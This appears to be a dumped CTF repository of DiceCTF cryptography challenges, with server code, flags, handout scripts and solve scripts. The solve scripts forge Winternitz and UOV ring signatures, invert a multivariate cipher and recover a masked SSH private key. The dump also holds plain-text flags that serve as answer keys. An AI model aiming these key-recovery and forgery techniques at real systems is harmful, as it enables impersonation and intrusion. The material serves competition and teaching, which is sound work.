) = game.current_round_time(int(time.time())) 29 | except AssertionError: 30 | raise RouteException(404, "game is not running") 31 | 32 | return PublicRequest(set_id, game_id, round_id, remaining, data) 33 | 34 | 35 | public_route = JsonApiRouter("/public", public_handler) 36 | 37 | 38 | @public_route.get("/round") 39 | async def get_round(request): 40 | game_id = request.game_id 41 | round_id = request.round_id 42 | time_left = request.remaining 43 | return {"game_id": game_id, "round_id": round_id, "time_left": time_left} 44 | -------------------------------------------------------------------------------- /dicectf-finals-2024/mental-poker/server/state.py: -------------------------------------------------------------------------------- 1 | import time 2 | from .game import Game 3 | 4 | USERNAMES = [ 5 | "Blue Water", 6 | "*0xA", 7 | "idek", 8 | "rev mains fr", 9 | "BunkyoWesterns", 10 | "Thehackerscrew", 11 | "View Source", 12 | "les amateurs", 13 | "organizers", 14 | "P1G SEKAI", 15 | "goose guild", 16 | "Maple Bacon", 17 | ] 18 | 19 | game = Game("state/game.db", 1719759600) 20 | 21 | print("=== NORMAL TEAMS ===") 22 | for user in USERNAMES: 23 | token = game.add_team(user) 24 | print(f"{user}: {token}") 25 | 26 | print("=== ADMIN BOTS ===") 27 | for i in range(len(USERNAMES) - 1): 28 | admin = f"admin_{i:02}" 29 | token = game.add_team(admin, is_admin=True) 30 | print(f"{admin}: {token}") 31 | -------------------------------------------------------------------------------- /dicectf-finals-2024/triad/c.txt: -------------------------------------------------------------------------------- 1 | (33, 69, 226, 194, 218, 248, 216, 35, 2, 120, 166, 94, 139, 124, 152, 220, 102, 33, 41, 254, 114, 251, 32, 207, 186, 207, 10, 217, 237, 233, 64, 60, 155, 72, 236, 23, 127, 128, 17, 110) -------------------------------------------------------------------------------- /dicectf-finals-2024/triad/flag.txt: -------------------------------------------------------------------------------- 1 | dice{mult1var14t3_tri@ngul4r_1nversi0n!} 2 | -------------------------------------------------------------------------------- /dicectf-finals-2024/triad/solve.sage: -------------------------------------------------------------------------------- 1 | import itertools 2 | from tqdm import tqdm 3 | 4 | n = 40 5 | K = GF(257) 6 | 7 | R = PolynomialRing(K, n, 'z') 8 | z0, z1, z2, z3, z4, z5, z6, z7, z8, z9, z10, z11, z12, z13, z14, z15, z16, z17, z18, z19, z20, z21, z22, z23, z24, z25, z26, z27, z28, z29, z30, z31, z32, z33, z34, z35, z36, z37, z38, z39 = R.gens() 9 | 10 | def minrank(P, ell): 11 | Ms = [] 12 | for p in P: 13 | M = zero_matrix(K, ell) 14 | for j, k in itertools.combinations_with_replacement(range(ell), 2): 15 | M[j,k] = p.monomial_coefficient(z[n - ell + j] * z[n - ell + k]) 16 | Ms.append(M) 17 | 18 | while True: 19 | print('guessing kernel...') 20 | x = random_vector(K, ell) 21 | B = matrix(K, [M * x for M in Ms]) 22 | beta = B.left_kernel()[1] 23 | H = sum(beta[i] * M for i, M in enumerate(Ms)) 24 | if H.rank() == 0: 25 | return beta 26 | 27 | with open('pk.txt') as f: 28 | pk = eval(f.read().replace('^', '**')) 29 | 30 | with open('c.txt') as f: 31 | c = vector(K, eval(f.read())) 32 | 33 | P = pk 34 | z = P[0].parent().gens() 35 | flag = [] 36 | for i in tqdm(range(n)): 37 | beta = minrank(P, n - i) 38 | f = sum(beta[i] * p for i, p in enumerate(P)) 39 | xi = (f - beta * c).univariate_polynomial().roots()[0][0] 40 | P = [p.subs({z[i]: xi}) for p in P] 41 | flag.append(xi) 42 | 43 | print(bytes(flag)) 44 | -------------------------------------------------------------------------------- /dicectf-finals-2024/triad/triad.sage: -------------------------------------------------------------------------------- 1 | import itertools 2 | 3 | n = 40 4 | K = GF(257) 5 | 6 | R = PolynomialRing(K, n, 'z') 7 | z = R.gens() 8 | 9 | def keygen(): 10 | F = [] 11 | for i in range(n): 12 | f = z[i] 13 | for zj in z[:i]: 14 | f += K.random_element() * zj 15 | for zj, zk in itertools.combinations_with_replacement(z[:i], 2): 16 | f += K.random_element() * zj * zk 17 | F.append(f) 18 | 19 | S = random_matrix(K, n) 20 | while S.is_singular(): 21 | S.randomize() 22 | 23 | P = [sum(si * f for si, f in zip(s, F)) for s in S] 24 | return P, (F, S^-1) 25 | 26 | def encrypt(pk, m): 27 | P = pk 28 | return vector(K, [p(*m) for p in P]) 29 | 30 | def decrypt(sk, c): 31 | w = [] 32 | for f, t in zip(*sk): 33 | w.append(t * c - f.subs(dict(zip(z, w))).constant_coefficient()) 34 | return vector(K, w) 35 | 36 | if __name__ == '__main__': 37 | with open('flag.txt', 'rb') as f: 38 | flag = f.read().strip() 39 | assert len(flag) == n 40 | 41 | pk, sk = keygen() 42 | m = vector(K, flag) 43 | c = encrypt(pk, m) 44 | 45 | with open('pk.txt', 'w') as f: 46 | f.write(str(pk)) 47 | 48 | with open('c.txt', 'w') as f: 49 | f.write(str(c)) 50 | -------------------------------------------------------------------------------- /dicectf-quals-2024/dicenet/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM rust:slim as build 2 | 3 | WORKDIR /app 4 | COPY ./challenge . 5 | RUN cargo build --release --bin server 6 | 7 | FROM pwn.red/jail 8 | COPY --from=build / /srv 9 | RUN cp /srv/app/target/release/server /srv/app 10 | COPY ./challenge/net/model.json ./challenge/net/weights.json /srv/app/ 11 | COPY ./run.sh /srv/app/run 12 | ENV JAIL_TIME=60 JAIL_MEM=100M JAIL_CPU=1000 13 | -------------------------------------------------------------------------------- /dicectf-quals-2024/dicenet/challenge/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "dicenet" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | ocelot = {git = "https://github.com/GaloisInc/swanky.git", branch = "dev"} 10 | fancy-garbling = {git = "https://github.com/GaloisInc/swanky.git", branch = "dev"} 11 | scuttlebutt = {git = "https://github.com/GaloisInc/swanky.git", branch = "dev"} 12 | clap = { version = "4.4.18", features = ["derive"] } 13 | colored = "1.8.0" 14 | image = "0.24.8" 15 | itertools = "0.8.0" 16 | ndarray = "0.13.0" 17 | pbr = "1.0.2" 18 | serde = "1.0.101" 19 | serde_json = "1.0.40" 20 | -------------------------------------------------------------------------------- /dicectf-quals-2024/dicenet/challenge/README.txt: -------------------------------------------------------------------------------- 1 | The code in this challenge is largely taken from 2 | https://github.com/GaloisInc/garbled-neural-network-experiments 3 | 4 | This challenge is not about an implementation-level bug (but who knows, maybe 5 | there is one). Instead, you should focus on the content in these papers: 6 | - https://ia.cr/2016/969 7 | - https://ia.cr/2019/338 8 | 9 | If you're actively working on this, don't hesitate to message me on Discord. 10 | Depending on where people are at, I will consider releasing a hint. And if 11 | you've solved the challenge, I'd also love to talk about it! 12 | -------------------------------------------------------------------------------- /dicectf-quals-2024/dicenet/challenge/sheep.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/dicectf-quals-2024/dicenet/challenge/sheep.png -------------------------------------------------------------------------------- /dicectf-quals-2024/dicenet/challenge/src/lib.rs: -------------------------------------------------------------------------------- 1 | pub mod layer; 2 | pub mod neural_net; 3 | pub mod util; 4 | -------------------------------------------------------------------------------- /dicectf-quals-2024/dicenet/make_handout.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | cp -r challenge dicenet 4 | tar -cvzf handout.tar.gz --exclude='.*' --exclude='weights.json' dicenet 5 | rm -rf dicenet -------------------------------------------------------------------------------- /dicectf-quals-2024/dicenet/ml/export.py: -------------------------------------------------------------------------------- 1 | import json 2 | import shutil 3 | 4 | def zeroize(x): 5 | if type(x) == list: 6 | return [zeroize(y) for y in x] 7 | else: 8 | return 0 9 | 10 | with open('./model.json') as f: 11 | model = json.load(f) 12 | 13 | del model['config']['layers'][0] 14 | 15 | with open('../challenge/net/model.json', 'w') as f: 16 | json.dump(model, f) 17 | 18 | shutil.copyfile('./weights.json', '../challenge/net/weights.json') 19 | 20 | with open('./weights.json') as f: 21 | weights = json.load(f) 22 | 23 | dummy_weights = zeroize(weights) 24 | 25 | with open('../challenge/net/dummy_weights.json', 'w') as f: 26 | json.dump(dummy_weights, f) 27 | -------------------------------------------------------------------------------- /dicectf-quals-2024/dicenet/ml/flag.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/dicectf-quals-2024/dicenet/ml/flag.png -------------------------------------------------------------------------------- /dicectf-quals-2024/dicenet/ml/generate_dataset.py: -------------------------------------------------------------------------------- 1 | import numpy as np 2 | import os 3 | from PIL import Image 4 | 5 | def add_noise(flag): 6 | arr = flag + np.random.normal(scale=5, size=(64, 64)) 7 | arr *= 255/260 8 | return Image.fromarray(arr.astype('uint8')).convert('L') 9 | 10 | def random_image(): 11 | arr = np.random.rand(64, 64) * 255 12 | return Image.fromarray(arr.astype('uint8')).convert('L') 13 | 14 | os.makedirs('dataset/flag') 15 | os.makedirs('dataset/notflag') 16 | 17 | img = Image.open('flag.png').convert('L').resize((64, 64)) 18 | flag = np.array(img.getdata()).astype(np.float32).reshape((64, 64)) 19 | for i in range(5000): 20 | im = add_noise(flag) 21 | im.save(f'dataset/flag/{i}.png') 22 | 23 | for i in range(5000): 24 | im = random_image() 25 | im.save(f'dataset/notflag/{i}.png') 26 | -------------------------------------------------------------------------------- /dicectf-quals-2024/dicenet/ml/reverse.py: -------------------------------------------------------------------------------- 1 | import json 2 | import keras 3 | import keras.backend as K 4 | import matplotlib.pyplot as plt 5 | import numpy as np 6 | import tensorflow as tf 7 | 8 | tf.compat.v1.disable_eager_execution() 9 | 10 | with open('./model.json') as f: 11 | m = keras.models.model_from_json(f.read().replace('tanh', 'linear')) 12 | 13 | with open('./weights.json') as f: 14 | layers = [] 15 | for layer in json.load(f): 16 | layers.append(np.array(layer)) 17 | m.set_weights(layers) 18 | 19 | # intially random vector 20 | crafted_input = np.random.rand(64, 64) 21 | 22 | # learning rate 23 | lr = 0.2 24 | 25 | m_in = m.input 26 | m_out = m.output 27 | 28 | # probability of predicting class 4 29 | cost = m_out[0,1] 30 | 31 | # calculate the gradient through our model 32 | grad = K.gradients(cost, m_in)[0] 33 | 34 | # function to calculate current cost and gradient 35 | step = K.function([m_in, K.learning_phase()], [cost, grad]) 36 | 37 | # fetch gradient and apply 38 | p, gradients = step([crafted_input, 0]) 39 | crafted_input += gradients * lr 40 | 41 | plt.imshow(crafted_input, interpolation='none') 42 | plt.show() 43 | -------------------------------------------------------------------------------- /dicectf-quals-2024/dicenet/ml/train.py: -------------------------------------------------------------------------------- 1 | import json 2 | import numpy as np 3 | import tensorflow as tf 4 | 5 | def normalize_img(image, label): 6 | return tf.cast(image, tf.float32) / 255, label 7 | 8 | ds_train, ds_test = tf.keras.utils.image_dataset_from_directory( 9 | './dataset', 10 | color_mode='grayscale', 11 | image_size=(64, 64), 12 | seed=1337, 13 | validation_split=0.2, 14 | subset='both', 15 | ) 16 | 17 | ds_train = ds_train.map(normalize_img) 18 | ds_train = ds_train.prefetch(tf.data.AUTOTUNE) 19 | 20 | ds_test = ds_test.map(normalize_img) 21 | ds_test = ds_test.prefetch(tf.data.AUTOTUNE) 22 | 23 | model = tf.keras.models.Sequential([ 24 | tf.keras.layers.Flatten(input_shape=(64, 64)), 25 | tf.keras.layers.Dense(32, activation='tanh'), 26 | tf.keras.layers.Dense(32, activation='tanh'), 27 | tf.keras.layers.Dense(2), 28 | ]) 29 | 30 | model.summary() 31 | 32 | model.compile( 33 | optimizer=tf.keras.optimizers.Adam(0.001), 34 | loss=tf.keras.losses.SparseCategoricalCrossentropy(from_logits=True), 35 | metrics=[tf.keras.metrics.SparseCategoricalAccuracy()], 36 | ) 37 | 38 | model.fit( 39 | ds_train, 40 | epochs=16, 41 | validation_data=ds_test, 42 | ) 43 | 44 | config = model.to_json() 45 | with open('model.json', 'w') as f: 46 | f.write(config) 47 | 48 | weights = model.get_weights() 49 | with open('weights.json', 'w') as f: 50 | json.dump([(x*255).astype(np.int16).tolist() for x in weights], f) 51 | -------------------------------------------------------------------------------- /dicectf-quals-2024/dicenet/run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | ./server --model model.json --weights weights.json 4 | -------------------------------------------------------------------------------- /dicectf-quals-2024/dicenet/solve/Cargo.toml: -------------------------------------------------------------------------------- 1 | [package] 2 | name = "solve" 3 | version = "0.1.0" 4 | edition = "2021" 5 | 6 | # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html 7 | 8 | [dependencies] 9 | dicenet = {path = "../challenge"} 10 | ocelot = {git = "https://github.com/GaloisInc/swanky.git", branch = "dev"} 11 | fancy-garbling = {git = "https://github.com/GaloisInc/swanky.git", branch = "dev"} 12 | scuttlebutt = {git = "https://github.com/GaloisInc/swanky.git", branch = "dev"} 13 | clap = { version = "4.4.18", features = ["derive"] } 14 | itertools = "0.8.0" 15 | num-integer = "0.1.45" 16 | pbr = "1.0.2" 17 | rand = "0.8.5" 18 | rand_core = "0.6.4" 19 | subtle = "2.5.0" 20 | -------------------------------------------------------------------------------- /dicectf-quals-2024/dicenet/solve/solve.py: -------------------------------------------------------------------------------- 1 | import json 2 | import keras 3 | import keras.backend as K 4 | import matplotlib.pyplot as plt 5 | import numpy as np 6 | import tensorflow as tf 7 | 8 | tf.compat.v1.disable_eager_execution() 9 | 10 | with open('../challenge/net/dummy_weights.json') as f: 11 | layers = json.load(f) 12 | 13 | with open('weights.txt') as f: 14 | weights = json.load(f) 15 | 16 | with open('biases.txt') as f: 17 | biases = json.load(f) 18 | 19 | for i in range(len(layers)): 20 | if i % 2 == 0: 21 | m = len(layers[i]) 22 | n = len(layers[i][0]) 23 | for j in range(m): 24 | for k in range(n): 25 | layers[i][j][k] = weights[k*m+j] 26 | weights = weights[m*n:] 27 | elif i < len(layers) - 1: 28 | n = len(layers[i]) 29 | layers[i], biases = biases[:n], biases[n:] 30 | layers[i] = np.array(layers[i]) 31 | 32 | assert len(weights) == 0 33 | assert len(biases) == 0 34 | 35 | with open('../challenge/net/model.json') as f: 36 | m = keras.models.model_from_json(f.read().replace('tanh', 'linear')) 37 | m.set_weights(layers) 38 | 39 | # intially random vector 40 | crafted_input = np.random.rand(64, 64) 41 | 42 | # learning rate 43 | lr = 0.2 44 | 45 | m_in = m.input 46 | m_out = m.output 47 | 48 | # probability of predicting class 4 49 | cost = m_out[0,1] 50 | 51 | # calculate the gradient through our model 52 | grad = K.gradients(cost, m_in)[0] 53 | 54 | # function to calculate current cost and gradient 55 | step = K.function([m_in, K.learning_phase()], [cost, grad]) 56 | 57 | # fetch gradient and apply 58 | p, gradients = step([crafted_input, 0]) 59 | crafted_input += gradients * lr 60 | 61 | plt.imshow(crafted_input, interpolation='none') 62 | plt.show() 63 | -------------------------------------------------------------------------------- /dicectf-quals-2024/winter/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.11.1-slim-bullseye AS app 2 | RUN pip install --no-cache pycryptodome 3 | 4 | FROM pwn.red/jail:0.3.1 5 | COPY --from=app / /srv 6 | COPY server.py /srv/app/run 7 | COPY flag.txt /srv/app/ 8 | ENV JAIL_MEM=20M JAIL_CPU=500 9 | -------------------------------------------------------------------------------- /dicectf-quals-2024/winter/flag.txt: -------------------------------------------------------------------------------- 1 | dice{according_to_geeksforgeeks} 2 | -------------------------------------------------------------------------------- /dicectf-quals-2024/winter/server.py: -------------------------------------------------------------------------------- 1 | #!/usr/local/bin/python 2 | 3 | import os 4 | from hashlib import sha256 5 | 6 | # winternitz one-time signature, w = 8 7 | 8 | class Wots: 9 | def __init__(self, sk, vk): 10 | self.sk = sk 11 | self.vk = vk 12 | 13 | @classmethod 14 | def keygen(cls): 15 | sk = [os.urandom(32) for _ in range(32)] 16 | vk = [cls.hash(x, 256) for x in sk] 17 | return cls(sk, vk) 18 | 19 | @classmethod 20 | def hash(cls, x, n): 21 | for _ in range(n): 22 | x = sha256(x).digest() 23 | return x 24 | 25 | def sign(self, msg): 26 | m = self.hash(msg, 1) 27 | sig = b''.join([self.hash(x, 256 - n) for x, n in zip(self.sk, m)]) 28 | return sig 29 | 30 | def verify(self, msg, sig): 31 | chunks = [sig[i:i+32] for i in range(0, len(sig), 32)] 32 | m = self.hash(msg, 1) 33 | vk = [self.hash(x, n) for x, n in zip(chunks, m)] 34 | return self.vk == vk 35 | 36 | if __name__ == '__main__': 37 | with open('flag.txt') as f: 38 | flag = f.read().strip() 39 | 40 | wots = Wots.keygen() 41 | 42 | msg1 = bytes.fromhex(input('give me a message (hex): ')) 43 | sig1 = wots.sign(msg1) 44 | assert wots.verify(msg1, sig1) 45 | print('here is the signature (hex):', sig1.hex()) 46 | 47 | msg2 = bytes.fromhex(input('give me a new message (hex): ')) 48 | if msg1 == msg2: 49 | print('cheater!') 50 | exit() 51 | 52 | sig2 = bytes.fromhex(input('give me the signature (hex): ')) 53 | if wots.verify(msg2, sig2): 54 | print(flag) 55 | else: 56 | print('nope') 57 | -------------------------------------------------------------------------------- /dicectf-quals-2024/winter/solve.py: -------------------------------------------------------------------------------- 1 | # import os 2 | # from hashlib import sha256 3 | # from tqdm import tqdm 4 | 5 | # msg = os.urandom(32) 6 | # for _ in tqdm(range(2**32)): 7 | # m = sha256(msg).digest() 8 | # for n in m: 9 | # if n >= 128: 10 | # break 11 | # else: 12 | # print('low', msg.hex()) 13 | # for n in m: 14 | # if n <= 128: 15 | # break 16 | # else: 17 | # print('high', msg.hex()) 18 | # msg = m 19 | 20 | from pwn import process, remote 21 | from server import Wots 22 | 23 | low = '86c3384427915fcf838d8b4983d17e441a08b1d8977df45aa1055d9dace0baeb' 24 | high = '77495be1984783379b67274507be5d43dea544c17348c5c43fa36e74b58c77de' 25 | 26 | io = process(['python', 'server.py']) 27 | 28 | io.sendlineafter(': ', high.encode()) 29 | io.recvuntil(': ') 30 | sig1 = bytes.fromhex(io.recvline().decode()) 31 | 32 | m1 = Wots.hash(bytes.fromhex(low), 1) 33 | m2 = Wots.hash(bytes.fromhex(high), 1) 34 | chunks = [sig1[i:i+32] for i in range(0, len(sig1), 32)] 35 | sig2 = b''.join([Wots.hash(x, n2 - n1) for x, n1, n2 in zip(chunks, m1, m2)]) 36 | 37 | io.sendlineafter(': ', low.encode()) 38 | io.sendlineafter(': ', sig2.hex().encode()) 39 | io.interactive() 40 | -------------------------------------------------------------------------------- /dicectf-quals-2024/yaonet/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM ubuntu:xenial 2 | 3 | RUN apt-get -y update 4 | RUN apt-get -y install openssh-server 5 | 6 | RUN mkdir /var/run/sshd 7 | RUN sed -i "s/#PasswordAuthentication yes/PasswordAuthentication no/" /etc/ssh/sshd_config 8 | 9 | RUN adduser --system ctf 10 | 11 | ADD flag.txt /etc/motd 12 | RUN sed -i "s/PrintLastLog yes/PrintLastLog no/g" /etc/ssh/sshd_config 13 | 14 | RUN mkdir -p /home/ctf/.ssh 15 | ADD id_ecdsa.pub /home/ctf/.ssh/authorized_keys 16 | 17 | EXPOSE 22 18 | 19 | CMD ["/usr/sbin/sshd", "-D"] 20 | -------------------------------------------------------------------------------- /dicectf-quals-2024/yaonet/flag.txt: -------------------------------------------------------------------------------- 1 | dice{now_can_you_sing_it?} 2 | -------------------------------------------------------------------------------- /dicectf-quals-2024/yaonet/id_ecdsa: -------------------------------------------------------------------------------- 1 | -----BEGIN OPENSSH PRIVATE KEY----- 2 | ??????????1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAA???????????????????????? 3 | ??????????c3RwMjU2AAAACG5pc3RwMjU2AAAAQQR72Bqp???????????????????????? 4 | ??????????1hSxoXrVpRtsx1F2GIgXAqI/6MxuS7Bq86XF???????????????????????? 5 | ??????????ZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAy???????????????????????? 6 | ??????????lSEQfdEcgOhx7zvWFLGhetWlG2zHUXYYiBcC???????????????????????? 7 | ??????????37PMrof3dNCpeuwsSUupbaUh3/+7+eDnRH+3???????????????????????? 8 | -----END OPENSSH PRIVATE KEY----- 9 | -------------------------------------------------------------------------------- /dicectf-quals-2024/yaonet/id_ecdsa.pub: -------------------------------------------------------------------------------- 1 | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBHvYGqk903tU4dOcBPTbZ9xl5rlSEQfdEcgOhx7zvWFLGhetWlG2zHUXYYiBcCoj/ozG5LsGrzpcXE3HuEzPEQg= foo 2 | -------------------------------------------------------------------------------- /dicectf-quals-2024/yaonet/id_ecdsa_original: -------------------------------------------------------------------------------- 1 | -----BEGIN OPENSSH PRIVATE KEY----- 2 | b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAaAAAABNlY2RzYS 3 | 1zaGEyLW5pc3RwMjU2AAAACG5pc3RwMjU2AAAAQQR72BqpPdN7VOHTnAT022fcZea5UhEH 4 | 3RHIDoce871hSxoXrVpRtsx1F2GIgXAqI/6MxuS7Bq86XFxNx7hMzxEIAAAAoGHek8hh3p 5 | PIAAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBHvYGqk903tU4dOc 6 | BPTbZ9xl5rlSEQfdEcgOhx7zvWFLGhetWlG2zHUXYYiBcCoj/ozG5LsGrzpcXE3HuEzPEQ 7 | gAAAAgRVOJ37PMrof3dNCpeuwsSUupbaUh3/+7+eDnRH+3yf4AAAADZm9vAQIDBAU= 8 | -----END OPENSSH PRIVATE KEY----- 9 | -------------------------------------------------------------------------------- /dicectf-quals-2024/yaonet/id_ecdsa_recovered: -------------------------------------------------------------------------------- 1 | -----BEGIN EC PRIVATE KEY----- 2 | MHcCAQEEIEVTid+zzK6H93TQqXrsLElLqW2lId//u/ng50R/t8n+oAoGCCqGSM49 3 | AwEHoUQDQgAEe9gaqT3Te1Th05wE9Ntn3GXmuVIRB90RyA6HHvO9YUsaF61aUbbM 4 | dRdhiIFwKiP+jMbkuwavOlxcTce4TM8RCA== 5 | -----END EC PRIVATE KEY----- -------------------------------------------------------------------------------- /dicectf-quals-2024/yaonet/solve.py: -------------------------------------------------------------------------------- 1 | import base64 2 | from Crypto.Util.strxor import strxor 3 | from fastecdsa.curve import P256 4 | from fastecdsa.keys import export_key 5 | from fastecdsa.point import Point 6 | from functools import reduce 7 | import itertools 8 | from operator import add 9 | from tqdm import tqdm 10 | 11 | G = Point(P256.gx, P256.gy) 12 | 13 | hx = 0x7bd81aa93dd37b54e1d39c04f4db67dc65e6b9521107dd11c80e871ef3bd614b 14 | hy = 0x1a17ad5a51b6cc7517618881702a23fe8cc6e4bb06af3a5c5c4dc7b84ccf1108 15 | H = Point(hx, hy) 16 | 17 | priv = b' 37PMrof3dNCpeuwsSUupbaUh3/+7+eDnRH+3 =' 18 | 19 | d = int.from_bytes(base64.b64decode(priv.replace(b' ', b'A')), 'big') 20 | print(bin(d)[2:].zfill(256)) 21 | 22 | s1 = base64.b64decode(priv.replace(b' ', b'A')) 23 | s2 = base64.b64decode(priv.replace(b' ', b'/')) 24 | mask = int.from_bytes(strxor(s1, s2), 'big') 25 | 26 | inf = 0 * G 27 | X = [] 28 | for i in range(256): 29 | if (mask >> i) & 1: 30 | X.append((inf, (1 << i) * G)) 31 | 32 | print(len(X)) 33 | 34 | P = d*G 35 | 36 | table = dict() 37 | for guess in tqdm(itertools.product(*X[:len(X)//2]), total=2**(len(X)//2)): 38 | t = reduce(add, guess) 39 | table[(P + t).x] = guess 40 | 41 | for guess in tqdm(itertools.product(*X[len(X)//2:]), total=2**(len(X) - len(X)//2)): 42 | t = reduce(add, guess) 43 | if (H - t).x in table: 44 | print('found') 45 | points = itertools.chain(table[(H - t).x], guess) 46 | for i in range(256): 47 | if (mask >> i & 1) and next(points) != inf: 48 | d += 1 << i 49 | export_key(d, P256, 'id_ecdsa_recovered') 50 | exit() 51 | -------------------------------------------------------------------------------- /dicectf-quals-2025/fairy-ring/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:slim-bullseye AS app 2 | RUN pip install --no-cache pycryptodome 3 | 4 | FROM pwn.red/jail 5 | COPY --from=app / /srv 6 | COPY server.py /srv/app/run 7 | COPY uov.py uov_trapdoor.py flag.txt /srv/app/ 8 | COPY keys/* /srv/app/keys/ 9 | ENV JAIL_TIME=60 JAIL_MEM=20M JAIL_CPU=500 10 | -------------------------------------------------------------------------------- /dicectf-quals-2025/fairy-ring/flag.txt: -------------------------------------------------------------------------------- 1 | dice{fr1ed_ch4ng3lin9_dumpl1ng5} 2 | -------------------------------------------------------------------------------- /dicectf-quals-2025/fairy-ring/gen.py: -------------------------------------------------------------------------------- 1 | import os 2 | import secrets 3 | import shutil 4 | 5 | from server import NAMES 6 | from uov import uov_1p_pkc as uov 7 | 8 | if __name__ == '__main__': 9 | uov.set_random(secrets.token_bytes) 10 | 11 | shutil.rmtree('keys') 12 | os.mkdir('keys') 13 | for name in NAMES: 14 | pk, _ = uov.keygen() 15 | with open(f'keys/{name}.pub', 'wb') as f: 16 | f.write(pk) 17 | -------------------------------------------------------------------------------- /dicectf-quals-2025/fairy-ring/handout.tar.gz: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/dicectf-quals-2025/fairy-ring/handout.tar.gz -------------------------------------------------------------------------------- /dicectf-quals-2025/fairy-ring/keys/aibell.pub: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/dicectf-quals-2025/fairy-ring/keys/aibell.pub -------------------------------------------------------------------------------- /dicectf-quals-2025/fairy-ring/keys/gloriana.pub: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/dicectf-quals-2025/fairy-ring/keys/gloriana.pub -------------------------------------------------------------------------------- /dicectf-quals-2025/fairy-ring/keys/oberon.pub: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/dicectf-quals-2025/fairy-ring/keys/oberon.pub -------------------------------------------------------------------------------- /dicectf-quals-2025/fairy-ring/keys/puck.pub: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/dicectf-quals-2025/fairy-ring/keys/puck.pub -------------------------------------------------------------------------------- /dicectf-quals-2025/fairy-ring/keys/sebile.pub: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/dicectf-quals-2025/fairy-ring/keys/sebile.pub -------------------------------------------------------------------------------- /dicectf-quals-2025/fairy-ring/keys/titania.pub: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/defund/ctf/8c23b3dc12d4f5cccea50a5d6bd0420bfe5d0b4d/dicectf-quals-2025/fairy-ring/keys/titania.pub -------------------------------------------------------------------------------- /dicectf-quals-2025/fairy-ring/make_handout.sh: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env bash 2 | 3 | mkdir fairy-ring 4 | cp -r server.py uov.py uov_trapdoor.py keys fairy-ring 5 | tar -cvzf handout.tar.gz --exclude='.*' --exclude='target' fairy-ring 6 | rm -rf fairy-ring 7 | -------------------------------------------------------------------------------- /dicectf-quals-2025/fairy-ring/solve.sage: -------------------------------------------------------------------------------- 1 | from uov import uov_1p_pkc as uov 2 | 3 | F. = GF(2)[] 4 | K. = GF(2^8, name='a', modulus=x^8 + x^4 + x^3 + x + 1) 5 | 6 | n = uov.n 7 | m = uov.m 8 | v = uov.v 9 | 10 | t_bytes = uov.shake256(b'shrooms', uov.m_sz) 11 | t = vector(K, [K(ZZ(x).bits()) for x in t_bytes]) 12 | 13 | with open(f'keys/oberon.pub', 'rb') as f: 14 | tm = uov.expand_pk(f.read()) 15 | 16 | m1 = uov.unpack_mtri(tm, v) 17 | m2 = uov.unpack_mrect(tm[uov.p1_sz:], v, m) 18 | m3 = uov.unpack_mtri(tm[uov.p1_sz + uov.p2_sz:], m) 19 | 20 | As = [] 21 | for k in range(m): 22 | A = [[None for _ in range(n)] for _ in range(n)] 23 | for i in range(n): 24 | for j in range(n): 25 | if j < i: 26 | A[i][j] = K(0) 27 | elif i < len(m1) and j < len(m1[0]): 28 | A[i][j] = K(((m1[i][j] >> ((m - k - 1) * 8)) & 0xff).bits()) 29 | elif i < len(m1): 30 | A[i][j] = K(((m2[i][j - len(m1[0])] >> ((m - k - 1) * 8)) & 0xff).bits()) 31 | else: 32 | A[i][j] = K(((m3[i - len(m1)][j - len(m1[0])] >> ((m - k - 1) * 8)) & 0xff).bits()) 33 | A = matrix(K, A) 34 | As.append(A) 35 | 36 | def quad(x): 37 | return vector(K, [x.dot_product(A * x) for A in As]) 38 | 39 | delta = random_vector(K, n) 40 | M = matrix(K, [delta * (A + A.transpose()) for A in As]) 41 | u = M.solve_right(t - quad(delta)) 42 | assert quad(u) + quad(u + delta) == t 43 | 44 | sig = bytes([ZZ(list(x), base=2) for x in u]) + bytes([ZZ(list(x), base=2) for x in u + delta]) 45 | 46 | import os 47 | os.environ['TERM'] = 'xterm' 48 | from pwn import process, remote 49 | 50 | # io = process(['python', 'server.py']) 51 | io = remote('dicec.tf', 31003) 52 | 53 | io.sendlineafter(b'ring size: ', b'2') 54 | io.sendlineafter(b'name 1: ', b'oberon') 55 | io.sendlineafter(b'name 2: ', b'oberon') 56 | io.sendlineafter(b'ring signature (hex): ', sig.hex().encode()) 57 | io.interactive() 58 | -------------------------------------------------------------------------------- 